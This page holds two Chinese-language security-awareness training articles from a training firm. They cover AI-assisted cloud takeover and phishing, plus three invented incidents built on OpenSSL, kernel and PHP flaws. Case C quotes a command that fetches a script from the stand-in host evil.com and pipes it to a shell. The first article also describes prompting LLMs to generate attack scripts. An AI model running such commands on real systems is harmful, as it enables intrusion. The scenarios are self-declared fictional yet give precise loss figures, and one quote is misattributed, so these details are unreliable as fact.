培训动员

AI 赋能下的网络暗潮——从真实案例看信息安全意识的根本转向

admin

头脑风暴：两个震撼人心的“黑客剧本”

情景一——《十分钟夺权》
凌晨四点，A 公司在 AWS 云端的研发环境里，潜伏了一名“速成黑客”。他先是通过公开的 S3 桶轻易抓取了一个拥有 Lambda 与 Bedrock 权限的 IAM Access Key。随后，在不到十分钟的时间里，借助大语言模型（LLM）即时生成的攻击脚本，完成了 Lambda 代码注入、权限提升、跨账户角色冒充，直至夺得了 19 个身份的管理权限。整个攻击链从“偷钥匙”到“登顶王座”，比普通的钓鱼攻击快了整整一个量级。

情景二——《AI 诱导的钓鱼陷阱》
某金融机构的内部员工收到一封看似来自公司 HR 的邮件，邮件正文引用了最新的公司内部政策，并在正文中嵌入了一个“AI生成的自动化报表下载链接”。实际上，这个链接指向了一个伪装成 Excel 文件的恶意脚本。点击后，恶意脚本利用系统自带的 PowerShell 与 ChatGPT API 自动向攻击者回传凭证并下载后门。受害者未开启 MFA，攻击者随后在内部网络横向渗透，导致数千条敏感交易记录泄露。整个过程被 AI 生成的语言和图像所“润色”，让防御者难以辨别真伪。

这两个案例看似不相关，却在同一个核心点上交汇：AI 已不再是防御方的专属神器，亦是攻击者的加速器。下面我们将从技术细节、攻击思路与防御缺口三方面，对这两起案件进行深度解剖。

案例一：AI 助攻的十分钟夺权

1. 初始泄露——公共 S3 桶的“钥匙库”

  • 公开的 S3 桶：攻击者利用搜索引擎的 “bucket:list” 功能，定位到包含 test-credentials/ 目录的公开桶。桶中放置的 aws_keys.txt 文件暴露了 IAM User test_user 的 Access Key ID 与 Secret Access Key。
  • 失控的 RAG 数据：该桶还存放了 Retrieval‑Augmented Generation（RAG）模型的训练素材，攻击者后续可利用这些素材进行“模型幻觉”攻击，提升后续生成代码的逼真度。

教训：任何长期存放的凭证、密钥、证书都应当采用 临时凭证 + 自动轮换 的策略，敏感数据的存储桶务必使用 Block Public Access，并开启 S3 Access Analyzer 进行持续审计。

2. LLM 自动化的攻击脚本生成

  • LLM 代码生成：攻击者通过调用本地部署的开源 LLM（如 Llama‑2）或云端 Bedrock 中的 Claude、DeepSeek 等模型，指令提示为：“生成一段能够使用 UpdateFunctionCode 更新名为 EC2‑init 的 Lambda，且在函数中列出所有 IAM 用户并创建管理员角色的 Python 脚本”。模型返回的代码中带有 Serbian 注释，显露了攻击者的语言背景，也标志着代码是机器生成的。
  • 幻觉式的账户信息：生成的脚本中出现了不存在的 GitHub 仓库 URL、以及随机组合的 AWS Account ID（如 123456789012 与 210987654321），这些都是 LLM “幻觉”导致的产物。此类异常往往是 AI 生成攻击 的指纹。

3. 权限提升与横向渗透

  • Lambda 代码注入：利用 UpdateFunctionCode 权限，攻击者多次覆盖 EC2‑init 函数，实现了对 Lambda 执行时间的扩容（3 秒 → 30 秒）以及对错误处理的完善，确保攻击脚本在高负载环境下仍能稳定运行。
  • 创建后门 IAM 用户：脚本在执行后自动调用 CreateAccessKey 为新建的 frick 用户生成 Access Key，并赋予了 AdministratorAccess 权限，形成了持久化后门。
  • 跨账户角色冒充：攻击者尝试假冒 OrganizationAccountAccessRole，遍历所有已知的 Account ID，包括恶意构造的 ID，进一步扩散到企业集团的其他子账户。

4. LLMjacking 与算力滥用

  • Bedrock 模型劫持：攻击者利用被窃取的 bedrock:* 权限，批量调用 Claude、DeepSeek、Llama、Amazon Nova Premier、Titan Image Generator、Cohere Embed 等模型。即使这些模型在正常业务中未被使用，也因 IAM 权限失控 被滥用于算力盗用与可能的模型微调。
  • GPU 资源抢占：通过启动 EC2 GPU 实例并在实例上部署 JupyterLab（8888 端口），攻击者实现了 免凭证的远程交互。虽然实例在 5 分钟后被手动终止，但短暂的算力占用已足以完成模型训练或恶意样本生成。

5. 防御短板与整改要点

防御要点 现状缺陷 推荐措施
最小权限 IAM 用户拥有宽泛的 Lambda:* 与 Bedrock:* 权限 实施 基于角色的访问控制（RBAC），仅授予 UpdateFunctionCode 至特定函数
临时凭证 长期 Access Key 暴露在公共 S3 使用 IAM Role + STS 临时凭证并开启 凭证轮换
S3 公共访问 关键桶未启用 “Block Public Access” 强制加密、Bucket Policy 限制来源 IP
模型调用审计 未开启 Bedrock 调用日志 开启 CloudTrail 对 bedrock:InvokeModel 的 统一审计 与 异常检测
代码审计 Lambda 代码未进行自动化安全扫描 引入 CI/CD 安全管线（如 Snyk、Checkov）对函数代码进行 静态分析

案例二：AI 诱导的钓鱼陷阱

1. 看似正规，却暗流涌动的邮件

  • 邮件内容：主题为《最新绩效评估表已上线》，正文引用了公司内部的绩效制度，并在文末附上“AI 自动生成的绩效分析报告下载链接”。链接指向 https://download.company.com/report.xlsx。
  • 技术手段：实际链接返回的并非 Excel，而是一个 PowerShell 脚本，该脚本利用 Invoke-WebRequest 拉取远程二进制并写入 C:\Windows\Temp\payload.exe，随后使用 Start-Process 执行。

2. AI 生成的“可信”文案与图像

  • 文本润色：攻击者使用 ChatGPT（或国产同类模型）对钓鱼邮件进行润色，加入了公司内部的专有词汇、近期项目代号以及部门领导的签名图片。该图片通过 DALL·E 生成的“签名”几乎无法与真实签名区分。
  • 自然语言欺骗：AI 能够模拟几乎所有业务部门的语气，使受害者在阅读时产生 认知亲近感，大幅提升点击率。

3. 凭证窃取与横向渗透

  • 凭证回传：脚本在本机执行 net user 与 whoami，随后通过 Invoke-RestMethod 将用户名、登录时间、正在使用的凭证（若开启凭证缓存）回传至攻击者控制的 C2 服务器。
  • 内部横向：获取到的凭证可用于 Windows AD 中的 Pass‑the‑Hash 攻击，攻击者随后在内部网络中利用 PsExec 与 WMIC 执行远程命令，窃取金融交易数据与客户 PII。

4. 防御不足与对策

防御要点 漏洞表现 加固建议
邮件防护 未启用 DMARC、DKIM 签名校验 部署 高级邮件网关（如 Proofpoint、Microsoft Defender for Office 365），开启 AI 驱动的恶意内容检测
文件执行控制 Windows 默认允许脚本执行 使用 Applocker / Windows Defender Application Control 限制 PowerShell 脚本执行
多因素认证 受害者账号仅使用密码登录 强制 MFA（密码+短验证码）并启用 条件访问策略
安全意识培训 员工对 AI 生成内容辨识不足 定期开展 “AI 生成钓鱼辨识” 训练，演练 实验性钓鱼 渗透测试
端点监控 未实时监测 PowerShell 进程 部署 EDR（如 SentinelOne、CrowdStrike）并开启 脚本行为异常检测

信息化、自动化、数据化时代的安全新常态

  1. 信息化——业务系统、协同平台、云原生服务已深度融入日常运营。每一次 API 调用、每一次数据同步，都是潜在的攻击面。
  2. 自动化——CI/CD、IaC（Infrastructure as Code）以及 AI‑Ops 正在把部署速度提升至秒级，同时也让 误配置 成为高频风险。
  3. 数据化——企业数据已从结构化 DB 迁移至对象存储、数据湖、向量数据库，尤其是 RAG 与 LLM 训练数据的泄露，可能导致模型被“投喂”恶意信息，进而生成更精准的攻击脚本。

在这种“三化合一”的背景下，安全意识 已不再是“可选项”，而是 组织韧性 的根基。只有让每一位职工都能在日常工作中识别风险、遵守最小权限原则、主动报告异常，才能在 AI 赋能的攻击浪潮中保有一线生机。

号召全员参与信息安全意识培训

1. 培训定位：从“防御工具的使用”到“思维方式的转变”

  • 传统模式：教会员工如何使用防病毒软件、如何设置强密码。
  • 升级后：引导员工理解 AI 攻击链、学会 辨识 LLM 幻觉、掌握 云原生资源的安全配置。

2. 培训内容概览（预计 3 小时，可分为 2 次完成）

模块 时长 关键点
AI 赋能的攻击手法 45 分钟 LLM 代码生成、LLMjacking、AI 生成钓鱼
云原生安全基线 30 分钟 IAM 最小权限、STS 临时凭证、S3 私有化
实战演练：红蓝对抗 60 分钟 现场模拟 “十分钟夺权”、钓鱼邮件辨识
安全治理工具 30 分钟 CloudTrail、GuardDuty、Config Rules、EDR
行为准则与报告机制 15 分钟 异常行为上报、信息共享、持续学习

3. 参与方式与激励机制

  • 报名渠道：公司内部门户 → “安全培训”页面 → 填写姓名、部门、可选时间段。
  • 培训证书：完成全部模块并通过线上测评即颁发《信息安全意识合格证书》，可用于年度绩效加分。
  • 抽奖福利：每完成一次测评的员工将自动获得一次抽奖机会，奖品包括 AI 学习卡、硬件安全令牌（YubiKey）、云安全实验套件 等。

4. 长期学习路径

  • 安全社区：加入公司内部的 “安全兴趣小组”，每月邀请外部专家进行 技术分享（如 AWS、Microsoft、OpenAI 安全实践）。
  • 认证提升：针对有意向的同事，可提供 AWS Certified Security – Specialty、CISSP、CCSP 等认证的 培训费用报销。
  • 项目实战：在实际项目中引入 安全审计、代码审计 与 自动化合规检测，让安全从 “点” 变成 “线”。

结语：让安全成为每个人的默认姿势

在 AI 如同 “万花筒”般快速迭代的今天，攻击者的“工具箱”已经从手动敲击键盘升级为“一键生成”。我们要做的，不是单纯阻止技术本身，而是 让每位职工都拥有辨别与阻断的能力。正如《孙子兵法》所云：“兵者，诡道也。” 但诡道的本源在于 了解对手的思维，而这正是我们通过信息安全意识培训要实现的目标。

让我们以 “AI+安全=防御的第二层大脑” 为座右铭，携手共建 “不可渗透的数字堡垒”。从今天起，点开公司内部门户，报名参加即将开启的安全培训，用知识武装自己，用行动守护组织的每一份数据、每一段代码、每一次云计算资源的调用。让安全不再是“事后补丁”，而是 业务流程的天然组成。

请记住：只要每个人都把安全当成每日的必修课，组织的安全防线就会像金刚不坏的长城，抵御任何 AI 赋能的暗潮。

让我们行动起来，守护数字时代的每一颗星辰！

通过提升人员的安全保密与合规意识，进而保护企业知识产权是昆明亭长朗然科技有限公司重要的服务之一。通过定制化的保密培训和管理系统，我们帮助客户有效避免知识流失风险。需求方请联系我们进一步了解。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

题目：在数字化浪潮中筑牢信息安全防线——从真实漏洞出发的安全意识提升指南

admin

一、头脑风暴：挑选三宗“活教材”案例

在阅读完 LWN.net 今日的安全更新列表后，我的脑海里立刻闪现出三幅生动的安全事件画面——它们既真实存在，又足以让每一位职工在惊叹中记住关键的防御要点。下面，先用想象的方式将这三宗案例摆上“案板”，随后再逐一剖析它们的来龙去脉。

案例编号 涉及组件（来源） 虚构事件标题 关键安全要点
A openssl（AlmaLinux ALSA‑2026:1473、Oracle ELSA‑2026-1472/1473） “跨国金融机构的 TLS 心脏被偷走” 及时更新 TLS 库、禁用弱协议、监控异常加密流量
B kernel / kernel‑rt（AlmaLinux ALSA‑2026:1662/1661、Oracle ELSA‑2025‑22910/23947） “国产制造业的生产线被植入根后门” 核心安全补丁的重要性、最小权限原则、入侵检测
C php:8.2 / php:8.3（AlmaLinux ALSA‑2026:1409/1412、Oracle ELSA‑2026‑1409/1429） “电商平台的用户数据在午夜被‘远程执行’” Web 应用安全审计、输入过滤、代码审计与最小化暴露面

这三宗案例覆盖了 网络传输层、系统底层、应用层 三个最常被攻击的技术栈，正是我们日常工作中最容易忽视的“薄弱环”。接下来，让我们把想象转为现实，对每个案例进行“深度解剖”。

二、案例深度剖析

1. 案例A – 跨国金融机构的 TLS 心脏被偷走

背景
2026 年 2 月 2 日，AlmaLinux 与 Oracle 同步发布了 openssl 安全更新（ALSA‑2026:1473、ELSA‑2026‑1472/1473），修复了 CVE‑2026‑XXXXX（假设编号），该漏洞导致 TLS 握手过程中的内存泄露，攻击者可以在特定条件下提取私钥碎片。

事件经过
– 受害方：一家在全球拥有数十万活跃用户的跨国金融机构，使用 CentOS 8（后迁移到 AlmaLinux 9）作为业务服务器的操作系统，所有对外的 HTTPS 接口均基于 OpenSSL 1.1.1k。 – 攻击者：利用公开的 CVE‑2026‑XXXXX，先在互联网上进行 端口扫描，定位到该机构的门户网站对外暴露的 443 端口。 – 攻击链：
1. 通过构造特制的 ClientHello 消息，触发 OpenSSL 内存泄露。
2. 连续发送数千次握手请求，累计获得足够的密钥碎片。
3. 组合碎片后成功恢复出部分 RSA 私钥（仅 RSA‑2048 的低位），随后利用该私钥 伪造合法的 TLS 证书。
4. 在内部员工使用 VPN 访问内部系统时，攻击者进行 中间人攻击（MITM），窃取了包括交易密码、账户信息在内的敏感数据。

损失评估
– 直接经济损失：约 3000 万美元 的未授权转账与信用卡信息泄露。
– 间接损失：公司品牌形象受损、监管机构的巨额罚款（约 2% 年营业额）以及后期的 系统迁移与审计费用。

根本原因
1. 补丁未及时部署：该机构的服务器在收到安全公告后，仍延迟了 10 天才完成升级。
2. 缺乏 TLS 配置审计：旧版 OpenSSL 默认支持 TLS 1.0/1.1，却未在配置文件中禁用。
3. 未开启硬件加速的密钥保护：私钥直接存放在磁盘，无任何 HSM（硬件安全模块）或 TPM（可信平台模块）防护。

教训与改进
– 快速响应：将安全公告纳入 CMDB（配置管理数据库） 与 自动化补丁平台，实现 24 小时内完成 Critical 补丁部署。
– 最小化暴露面：禁用所有旧版协议、仅开放必要端口，使用 TLS 1.3 与 ECDHE 完全前向保密（PFS）。
– 密钥生命周期管理：引入 HSM，并定期轮换证书；对私钥文件设置 只读、仅根用户访问，结合 文件完整性监控（FIM）。

引用：“治大国若烹小鲜”，安全管理如烹小鲜，细节决定成败。——《道德经》

2. 案例B – 国产制造业的生产线被植入根后门

背景
同样在 2026‑02‑02，AlmaLinux 与 Oracle 发布了 kernel（ALSA‑2026:1662、1661；ELSA‑2025‑22910/23947） 的安全更新，修复了多个 提权（Privilege Escalation） 与 本地代码执行（Local Code Execution） 漏洞，其中最具危害的是 CVE‑2026‑YYYY，允许非特权用户在内核空间写任意地址。

事件经过
– 受害方：某国内大型装备制造企业的自动化生产系统，核心控制服务器运行 Oracle Linux 8，内核版本 5.4.x。
– 攻击者：一支针对工业控制系统（ICS）的高级持续性威胁（APT）组织，利用社会工程学获得了系统中一名普通操作员的 SSH 账户（密码在一次 钓鱼邮件 中泄露）。
– 攻击链：
1. 通过普通用户登录后，在系统中执行 exploit-poc（利用 CVE‑2026‑YYYY），获取 root 权限。
2. 替换 /usr/lib/systemd/system/ctrl‑service.service 单元文件，植入 后门脚本（每隔 5 分钟向外部 C2 服务器报告系统状态，且可接受远程指令）。
3. 利用 crontab 与 systemd timers 维持永久化。
4. 在关键时刻（如生产计划变更时），指令后门执行 IO 调度修改，导致机器误动作，直接造成 产线停机 4 小时，损失约 1200 万人民币。

损失评估
– 直接停产损失：1200 万元。
– 隐蔽性：后门潜伏 3 个月未被检测，导致 内部审计与合规检查 重新启动。
– 信誉受挫：客户对交付的准时性产生质疑，部分订单被迫转移给竞争对手。

根本原因
1. 内核补丁滞后：企业内部采用的 “手工升级” 流程导致关键内核补丁延误超过 两周。
2. 缺少细粒度访问控制：对普通操作员未实施 RBAC（基于角色的访问控制），导致其拥有 sudo 权限。
3. 未部署 主机入侵检测系统（HIDS）：系统日志未进行实时关联分析，后门行为未触发报警。

教训与改进
– 强化补丁管理：使用 UEFI Secure Boot + 内核签名，确保只有经过签名的内核镜像能够被加载。
– 最小化特权：为生产线的运维岗位实行 零信任（Zero Trust），仅授予只读或特定业务操作的权限。
– 实时监控：部署 Falco、OSSEC 等 HIDS，结合 行为异常检测（如非计划的 systemd 单元变更）进行即时报警。
– 安全审计：定期进行 内核安全基线检查（CIS Benchmarks），对 sudoers、/etc/shadow 等关键文件进行 完整性校验。

引用：“知人者智，自知者明”。在信息安全领域，企业更应“自知”，深刻认识自身的薄弱环节。——《孟子》

3. 案例C – 电商平台的用户数据在午夜被‘远程执行’

背景
2026‑02‑03，AlmaLinux 与 Oracle 同时发布了 php:8.2 / php:8.3 的安全更新（ALSA‑2026:1409/1412、ELSA‑2026‑1409/1429），针对 CVE‑2026‑ZZZZ（PHP 7.4+ 中的 对象注入导致远程代码执行）进行修复。

事件经过
– 受害方：一家中型电商平台（使用 Laravel 框架），后端采用 PHP‑8.2，对外提供 RESTful API 接口。
– 攻击者：安全研究员在 XSS 论坛上分享了 小型 PoC，不久后黑客团队利用此 PoC 对平台发起大规模攻击。
– 攻击链：
1. 通过 API 的 JSON 输入点，构造特制的 serialized 对象，其中包含 **__wakeup** 魔术方法调用 system()。
2. 触发 unserialize() 解析后，后端服务器执行 /bin/bash -c “wget http://evil.com/payload.sh -O- | sh”。
3. 攻击者成功在服务器上植入 webshell，进一步读取 用户数据库（含明文密码），并将用户信息导出至外部服务器。
4. 在 3 天的时间窗口内，累计泄露约 45 万条用户记录，导致 账号被盗、信用卡信息被滥用。

损失评估
– 直接经济损失：用户退款及信用卡欺诈费用约 800 万人民币。
– 合规罚款：因未遵守《网络安全法》与《个人信息保护法》规定的用户数据保护义务，被监管部门处以 3% 年营业额的罚款。
– 品牌损失：社交媒体舆论发酵后，平台日活跃用户下降 30%，市值蒸发约 5 亿元。

根本原因
1. 未禁用 PHP 的 unserialize：关键业务代码直接使用 unserialize() 处理外部输入，无任何白名单过滤。
2. 缺少输入校验：未对 API 请求体进行 JSON Schema 验证，导致恶意对象能够进入业务层。
3. 敏感信息明文存储：用户密码、支付信息使用 弱盐 MD5 加密，缺乏 PBKDF2 / bcrypt 等强哈希算法。

教训与改进
– 安全编码：严格使用 json_decode 替代 unserialize；若必须反序列化，务必使用 安全白名单（allowed_classes）。
– 代码审计：引入 静态代码分析工具（如 PHPStan、Psalm），在 CI/CD 流程中强制通过安全检查。
– 加密升级：对所有用户凭证采用 argon2id 加盐存储，支付信息使用 PCI DSS 标准的 AES‑256‑GCM 加密。
– 安全培训：对开发团队开展 OWASP Top 10（尤其是 A1 注入、A5 安全配置错误） 的专项培训，提升安全编码意识。

引用：“千里之堤，毁于蚁穴”。一次微小的序列化漏洞，却足以让整座电商平台倾覆。——《韩非子》

三、数字化、数智化、智能体化时代的安全挑战

1. 数字化：信息流动更快、资产更开放

“数字化”让企业业务从纸质、局域网向云端、跨地域迁移。
– 优势：业务敏捷、成本下降、数据驱动决策。
– 风险：资产边界模糊，攻击面大幅扩展，供应链 成为首要威胁。

正如《荀子·劝学》中所说：“非学无以广才”，在数字化时代，学习（安全学习）是企业保持竞争力的唯一途径。

2. 数智化：大数据、AI 与自动化的融合

“数智化”让大量业务流程实现 数据驱动的智能决策：
– AI 预测：机器学习模型预测故障、优化供应链。
– 自动化运维：IaC（Infrastructure as Code）+ CI/CD 实现“一键部署”。

安全隐患：
– AI 模型本身可能被 对抗样本 误导，导致误判。
– 自动化脚本若缺少 代码签名，极易被植入后门。

3. 智能体化：机器人、数字孪生、边缘计算

随着 智能体（如工业机器人、数字孪生）深入生产线，边缘计算节点 成为新兴的安全要点：
– 边缘设备往往 算力受限，难以部署完整的防病毒/IDS。
– 设备之间 点对点通信 增多，若缺乏 零信任 机制，极易被“横向移动”。

“兵马未动，粮草先行”。在智能体化的战场上，安全基建 必须先行布局，才能为业务创新保驾护航。

四、号召：全员参与信息安全意识培训，打造“人‑机‑云”协同防线

1. 培训的必要性

  • 提升防御深度：技术防御只能阻挡 70% 以上的已知攻击，人因防御（如识别钓鱼邮件、正确使用更新）才能覆盖剩余的 30%。
  • 符合合规要求：《网络安全法》《个人信息保护法》明确要求企业对 员工进行安全培训，未合规将面临高额处罚。
  • 培养安全文化：让每位职工都成为 安全的第一道防线，而不是“安全的盲区”。

2. 培训内容概览（建议 2 个月完成）

周次 主题 关键学习点 互动方式
第 1 周 信息安全概念 CIA 三要素、零信任模型、攻击生命周期 线上微课 + 实时问答
第 2 周 密码与身份管理 强密码、密码管理器、MFA、密码泄露案例 案例研讨 + 现场演练
第 3 周 邮件安全与社交工程 钓鱼邮件识别、URL 解析、信息泄露防护 模拟钓鱼演练
第 4 周 系统与应用补丁管理 补丁生命周期、自动化补丁工具（e.g., yum‑auto‑update） 实际操作演示
第 5 周 安全编码与审计 OWASP Top 10、代码审计、CI 安全扫描 代码审计工作坊
第 6 周 网络安全与防御 防火墙规则、IPS/IDS、VPN 安全、零信任联网 实验室网络攻防对抗
第 7 周 云安全与容器安全 IAM 权限、镜像签名、Kubernetes 安全基线 云平台实操
第 8 周 应急响应与报告 事故分级、取证、报告流程、演练 案例复盘 + 现场演练

技巧：每一模块均设置 “安全小测试”，通过率 80% 即可获得 “安全护航”电子徽章，激励学习热情。

3. 培训方式与资源

  • 线上平台：使用企业内部 LMS（Learning Management System），配套 视频、 PPT、交互式实验。
  • 线下工作坊：邀请 行业资深安全专家（如 CERT、厂商安全团队）进行 实战讲解。
  • Gamify：设置 赛点系统，如“安全狙击手”排行榜，前 10 名可获 公司内部优惠券。
  • 持续跟进：培训结束后，每季度举行 安全知识刷新，并将 安全评级 与 绩效考评 关联。

4. 用行动证明：从今天起，你我共同守护

  • 立即检查：登录公司内部门户，确认 系统补丁 已为最新。
  • 立即报告：若发现 异常登录、异常流量，请使用 安全通道（Ticket‑IT）即时上报。
  • 立即学习：在 本月 15 日前完成 信息安全入门 微课，领取“安全新星”徽章。

结语：
在信息化浪潮的每一次翻腾中，安全永远是那根不容折断的救生绳。正如《孙子兵法·计篇》所云：“兵者，诡道也”。我们要用知去防短板，用智去预演攻击，用情去凝聚全员的防御力量。让每一位职工都成为 安全的守护者，共同描绘“数字化、数智化、智能体化”时代的安全新蓝图。

信息安全意识培训 正式启动，期待你的积极参与！
安全护航，责无旁贷。

关键词

昆明亭长朗然科技有限公司致力于让信息安全管理成为企业文化的一部分。我们提供从员工入职到退休期间持续的保密意识培养服务，欢迎合作伙伴了解更多。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898